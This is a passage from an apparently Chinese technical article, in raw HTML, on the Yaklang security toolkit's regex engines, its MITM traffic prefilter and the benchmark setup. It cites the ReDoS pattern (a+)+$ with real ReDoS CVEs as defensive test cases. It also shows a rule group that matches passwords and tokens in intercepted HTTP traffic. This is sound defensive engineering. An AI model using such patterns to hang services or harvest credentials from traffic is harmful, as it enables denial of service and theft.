rgb(253, 128, 9);">：</span></span><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">由 PCRE2 的 match/depth 限额兜底，</span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">(a+)+$</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);"> 这类指数回溯返回 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">ErrMatchLimit</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);"> 而非挂起；收紧 SetMatchLimits 后可将攻击压至亚毫秒，对应背景中&#34;回溯不可控&#34;导致的代理无响应。库自带用例覆盖 moment.jsCVE-2022-31129、UAParser.js CVE-2020-7733 等真实 ReDoS，均可终止。</span></span></span></p></li></ul><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;text-align: left;"><span mpa-font-style="mrecd83op3o" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">在 Yaklang 里，正则统一走 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">common/utils/regexp-utils</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 的 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">NewYakRegexpUtils(...)</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">：优先标准库 RE2（线性无回溯），RE2 编译失败时回退 PCRE2 兜底。切换后 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">regexp-utils.go</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 与 MITM 预过滤模块的 import 已统一指向 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">go-pcre2-lite/regexp2</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">。</span></span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">2.2 多正则层：</span></span><code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">minirehs</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">（yak 语言里注册为 </span></span><code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">rehs</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">）</span></span></strong></span></p></div></div></div></div></div><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span mpa-font-style="mrecd83oi7l" style="font-size: 15px;"><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">minirehs</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 是一个</span></span><strong style="font-size: 15px;font-weight: bold;"><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">零外部依赖、可移植</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;">的多正则批量匹配引擎，借鉴 Intel Hyperscan 的&#34;统一编译、一次扫描&#34;模型：</span></span></span></p><pre style="white-space:pre-wrap;"><code data-lark-language="Plain Text" data-wrap="false"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="cs"><code><span leaf=""><span class="code-snippet__comment">// yak 语言里以 rehs 库暴露：一行编译、一次扫描判定哪些正则命中</span></span></code><br/><br/><code><span leaf=""><span class="code-snippet__keyword">group</span> = rehs.BuildGroup([<span class="code-snippet__string">&#34;admin&#34;</span>, <span class="code-snippet__string">&#34;(?i)password&#34;</span>, <span class="code-snippet__string">&#34;token=\\w+&#34;</span>])~</span></code><br/><br/><code><span leaf=""><span class="code-snippet__keyword">if</span> <span class="code-snippet__keyword">group</span>.Match(data) { <span class="code-snippet__comment">/* 是否有任意命中，命中即停，最快 */</span> }</span></code><br/><br/><code><span leaf=""><span class="code-snippet__keyword">for</span> m <span class="code-snippet__keyword">in</span> <span class="code-snippet__keyword">group</span>.Find(data) { println(m.Index, m.Pattern, m.From, m.To, m.Value) }</span></code><br/><br/></pre></p></code><br/></pre><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span mpa-font-style="mrecej2lxs1" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">核心流程是</span></span><strong style="font-size: 15px;font-weight: bold;"><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">字面量提取 → Aho-Corasick / bit-NFA 预过滤（一次扫描，含位置）→ 候选邻域验证</span></span></strong><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">。</span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;">它按环境自动分档：</span></span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span mpa-font-style="mrecej2l1rng" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">CGO 可用时默认下沉自带的纯 C99 位并行内核（最强档，</span></span><strong style="font-size: 15px;font-weight: bold;"><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">不链接、不 dlopen 任何外部库</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;">），不可用时优雅退化为纯 Go，参考执行器，两档结果</span></span><strong style="font-size: 15px;font-weight: bold;"><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">逐字节一致</span></span></strong><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">。</span></span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="">2.3 接入 MITM：一个&#34;绝不漏报&#34;的统一预过滤</span></strong></span></p></div></div></div></div></div><p style="text-align: left;margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrecfjt4i3f"><span leaf="">接入点是 </span></span><span mpa-font-style="mrecfjt415qq" style="font-size: 15px;"><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">mitmRulePrefilter</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">（见 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">common/yakgrpc/yakit/httpflow_replacer_prefilter.go</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">）：把所有可被 RE2 自动机</span></span></span></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-bottom: 8px;"><span mpa-font-style="mrecfjt4116w" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">必需字面量安全门控的规则</span></span><strong style="font-size: 15px;font-weight: bold;"><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">一次性编译进一个常驻 Group</span></span></strong><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">，</span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;">每条报文只扫一次得到&#34;候选位图&#34;，其余规则直接跳过昂贵的逐条匹配。作为安全工具，不漏报是底线，因此正确性由构造保证。</span></span></span></p></li></ul><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-bottom: 8px;"><span mpa-font-style="mrecfjt4twn" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">只有 &#34;RE2 可精确表达且含必需字面量&#34; 的规则（disposition=</span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">primary</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">）才进入&#34;可跳过集合&#34;；</span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">regexp2-only</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">（lookaround/backref）或无必需字面量的规则一律标记为</span></span><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);"> always-candidate（永不跳过）。</span></span></span></p></li></ul><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-bottom: 8px;"><span mpa-font-style="mrecfjt41o8p" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">预过滤引擎强制开 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">Multiline</span></span></code><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);"> + </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">DotAll</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">，即</span></span><strong style="font-size: 15px;font-weight: bold;"><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">预过滤语言是规则语言的超集</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;">——只会多报候选，绝不把真正会命中的报文判为不命中。</span></span></span></p></li></ul><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-bottom: 8px;"><span mpa-font-style="mrecfjt4eoc" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">命中与否最终仍由原正则在候选规则上</span></span><strong style="font-size: 15px;font-weight: bold;"><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">精确判定</span></span></strong><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">，</span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;">染色/提取语义完全不变。</span></span></span></p></li></ul><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span mpa-font-style="mrecfjt41l7t" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">此外提供一键回退开关 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">YAKIT_MITM_REPLACER_DISABLE_PREFILTER=1</span></span></code></span><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrecfjt4ul7"><span leaf="">，可随时退回逐条匹配的旧行为，用于 A/B 对比或异常时紧急回退。</span></span></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><strong><span leaf="" style="font-weight: bold;outline: 0px;">三、实验设计</span></strong></p></div></div></div><div><div><div><p><table style="border: none;border-collapse: collapse;min-width: 50px;"><tbody><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">维度</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">说明</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">硬件 / 系统</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">darwin/arm64，Apple Silicon</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">Go 构建</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p style="text-align: left;"><code><span leaf="" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">CGO_ENABLED=1</span></code><span leaf="">，默认后端（纯 Go MVS + PCRE2 兜底，未加 </span><code><span leaf="" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">minirehs_mvs</span></code><span leaf=""> C 内核 tag）</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">真实规则集</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p style="text-align: left;"><span leaf="">rule4yak 87 条 MITM replacer 规则（</span><code><span leaf="" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">common/minirehs/testdata/rules.json</span></code><span leaf="">）</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">真实语料</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p style="text-align: left;"><span leaf="">从本地 yaklang 项目库抽取的 ~5MB 真实 HTTP 流量（1332 报文，</span><code><span leaf="" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">traffic_corpus.bin</span></code><span leaf="">）</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">合成集</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p style="text-align: left;"><span leaf="">固定 ~1MB 语料（256 × 4KB 报文），字面量丰富、命中稀疏，N ∈ {50,100,300,500,1000}</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">口径</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p style="text-align: left;"><span leaf="">三后端共用</span><strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">同一语料、同一规则、同一 </span></span></strong><strong><code><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">Scan</span></span></code></strong><strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);"> API</span></span></strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">；</span></span><code><span leaf="" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">b.SetBytes(语料字节)</span></code><span leaf=""> → MB/s 为聚合真吞吐；</span><code><span leaf="" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">benchtime=3x</span></code></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">基线</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p style="text-align: left;"><strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">StdlibLoop</span></span></strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">：</span>N 条正则逐条扫整段，即&#34;几百正则一次匹配&#34;的等价现状</span></p></td></tr></tbody></table></p></div></div></div><blockquote><p><span leaf="">正确性不掺进吞吐判断：命中集合/偏移由独立差分测试保证（MVS 命中集与 stdlib oracle 逐字节一致、C 内核与 Go 参考执行器逐位一致）。</span></p></blockquote><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><strong><span leaf="" style="font-weight: bold;outline: 0px;">四、Benchmark 结果</span></strong></p></div></div></div><p style="margin: 8px;"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrecg5itx6r"><span leaf="">这批规则的作用是对流量进行自动染色标注：例如报文中出现 </span></span><span mpa-font-style="mrecg5it148b" style="font-size: 15px;"><code><span leaf="" mpa-font-style="mreep693kft" style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-mpa-action-id="mreep69m1i8q" data-pm-slice="0 0 